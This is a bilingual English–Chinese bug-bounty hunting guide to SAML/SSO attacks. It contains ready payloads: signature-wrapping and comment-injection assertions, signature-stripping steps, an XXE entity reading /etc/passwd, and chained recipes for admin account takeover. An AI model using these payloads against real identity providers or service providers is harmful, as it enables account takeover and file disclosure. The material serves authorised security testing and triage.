hunt-saml

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

20. SAML / SSO ATTACKS

20. SAML / SSO 攻击

SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
SSO 漏洞经常可带来高危至严重级别的安全影响,而 XML 解析器的行为历来极不一致。

Attack Surface

攻击面

bash
undefined
bash
undefined

Find SAML endpoints

Find SAML endpoints

cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"

Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback

Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback

undefined
undefined

Attack 1: XML Signature Wrapping (XSW)

攻击 1:XML Signature Wrapping (XSW)

xml
<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>
xml
<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>

Attack 2: Comment Injection in NameID

攻击 2:NameID 注释注入

xml
<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "admin@company.com.evil.com" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
     UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
     identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
xml
<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "admin@company.com.evil.com" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
     UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
     identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->

Attack 3: Signature Stripping

攻击 3:Signature 剥离

1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO

Attack 4: XXE in SAML Assertion

攻击 4:SAML Assertion 中的 XXE

xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>
xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>

Attack 5: NameID Manipulation

攻击 5:NameID 操纵

Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)

Tools

工具

bash
undefined
bash
undefined

SAMLRaider (Burp extension) — automated XSW testing

SAMLRaider (Burp extension) — automated XSW testing

BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

Manual workflow:

Manual workflow:

echo "BASE64_SAML" | base64 -d > saml.xml
echo "BASE64_SAML" | base64 -d > saml.xml

Edit saml.xml

Edit saml.xml

base64 -w0 saml.xml # Re-encode
base64 -w0 saml.xml # Re-encode

URL-encode the result before sending as SAMLResponse parameter

URL-encode the result before sending as SAMLResponse parameter

undefined
undefined

SAML Triage

SAML 严重性分级

XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

Related Skills & Chains

相关 Skills 与链式利用

  • hunt-ato
    — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with
    NameID=admin@target.com
    in primary position + SP processes first assertion (the evil one) + SP doesn't validate
    <AudienceRestriction>
    so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
  • hunt-auth-bypass
    — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip
    <ds:Signature>
    element entirely → modify
    <NameID>
    to admin → re-encode base64 → POST to
    /saml/acs
    → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
  • hunt-oauth
    — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
  • hunt-xxe
    — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without
    disallow-doctype-decl
    +
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    in assertion +
    <NameID>&xxe;</NameID>
    → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
  • security-arsenal
    — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
  • triage-validation
    — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.
  • hunt-ato
    ——在缺少 audience-restriction 校验的情况下利用 SAML XSW,是冒充管理员攻击 SP 的典型链式利用。链式原语:XSW1 攻击将已签名的 assertion 移至次要位置 + 在主要位置注入携带
    NameID=admin@target.com
    的恶意 assertion + SP 处理找到的第一个 assertion(恶意 assertion)+ SP 未校验
    <AudienceRestriction>
    ,因此原本面向 IdP-A 的 assertion 会被 SP-B 接受 → 跨联合身份租户边界实现管理员 ATO。
  • hunt-auth-bypass
    ——Signature 剥离是典型的认证绕过模式;本 skill 提供 SAML 攻击机制,
    hunt-auth-bypass
    则提供更广泛的绕过方法论。链式原语:捕获有效的 SAMLResponse → 使用正则表达式完全剥离
    <ds:Signature>
    元素 → 将
    <NameID>
    修改为管理员 → 重新进行 base64 编码 → POST 至
    /saml/acs
    → SP 在
    wantAssertionsSigned=false
    时静默接受 → 无需任何密码学挑战即签发管理员会话。
  • hunt-oauth
    ——以 SAML 为前端的 OAuth 颁发方会将 assertion 层面的漏洞转化为 token 层面的 ATO。链式原语:SP 在验证 SAML assertion 后签发 OAuth bearer token + XSW 将 NameID 篡改为管理员 → SP 的 token 端点签发携带管理员 claims 的 OAuth token → 所有具有 OAuth 权限范围的下游 API(admin API、billing API、user-management API)仅凭一个伪造的 assertion 即可授予管理员访问权限。
  • hunt-xxe
    ——SAML assertion 本质上就是 XML;XXE 可作为叠加在 XSW 之上的另一条攻击链。链式原语:SAML 解析器未配置
    disallow-doctype-decl
    + 在 assertion 中加入
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    +
    <NameID>&xxe;</NameID>
    → SP 渲染或记录 NameID →
    /etc/passwd
    的内容通过错误响应或审计日志泄露 → 在 SAML SP 基础设施上形成文件读取原语。
  • security-arsenal
    ——可调用 SAML/XSW Payload Catalog(XSW1–XSW8 模板、针对 libxml/Xerces/MSXML 解析器差异的注释注入变体、包含多个 Reference 元素的 signature-wrapping 载荷,以及攻击者 IdP 签名的 assertion 被信任校验不严格的 SP 接受这一场景的 key-confusion 载荷),并使用 always-rejected 列表筛除“错误端点接受 SAMLResponse”等实际上未经验证的说法。
  • triage-validation
    ——在将仅修改非安全相关属性(显示名称、locale),且未更改 NameID、AuthnContext 或承载角色的 AttributeStatements 的 SAML“漏洞”声称为 Critical 之前,先运行 Pre-Severity Gate。未跨越授权边界的理论性 XML 操纵应评为 Informational,而非 Critical——只有实际改变认证决策的步骤才是判定门槛。